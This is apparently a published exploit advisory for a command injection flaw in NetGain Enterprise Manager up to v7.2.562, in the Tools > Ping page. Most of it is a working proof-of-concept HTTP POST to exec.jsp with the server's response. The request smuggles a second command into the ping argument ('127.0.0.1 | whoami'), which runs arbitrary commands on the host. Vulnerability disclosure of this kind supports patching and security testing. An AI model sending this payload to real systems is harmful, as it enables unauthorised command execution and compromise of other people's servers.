NetGain Enterprise Manager 7.2.562 Command Execution

`# Exploit Title: NetGain Enterprise Manager a aPinga Command Injection  
# Date: 23.02.2017  
# Exploit Author: MrChaZ  
# Vendor Homepage: http://www.netgain-systems.com/  
# Version: <= v7.2.562 build 853  
# Tested on: Windows 10 Pro 64-bit (10,0 Build 14393  
  
  
Description:  
===========================================================================  
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.  
  
https://www.owasp.org/index.php/Command_Injection  
  
Vulnerable Menu:  
===========================================================================  
[+] Tools a Ping  
  
Proof of Concept:  
===========================================================================  
POST /u/jsp/tools/exec.jsp HTTP/1.1  
Host: 192.168.0.13:8081  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:18.0) Gecko/20100101 Firefox/18.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://192.168.0.13:8081/u/index.jsp  
Content-Length: 97  
Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF  
Connection: close  
Pragma: no-cache  
Cache-Control: no-cache  
  
command=cmd+%2Fc+ping&argument=127.0.0.1+%7C+whoami&async_output=ping1487856455258&isWindows=true  
-  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Content-Type: text/html;charset=utf-8  
Content-Length: 70  
Date: Thu, 23 Feb 2017 13:27:40 GMT  
Connection: close  
  
`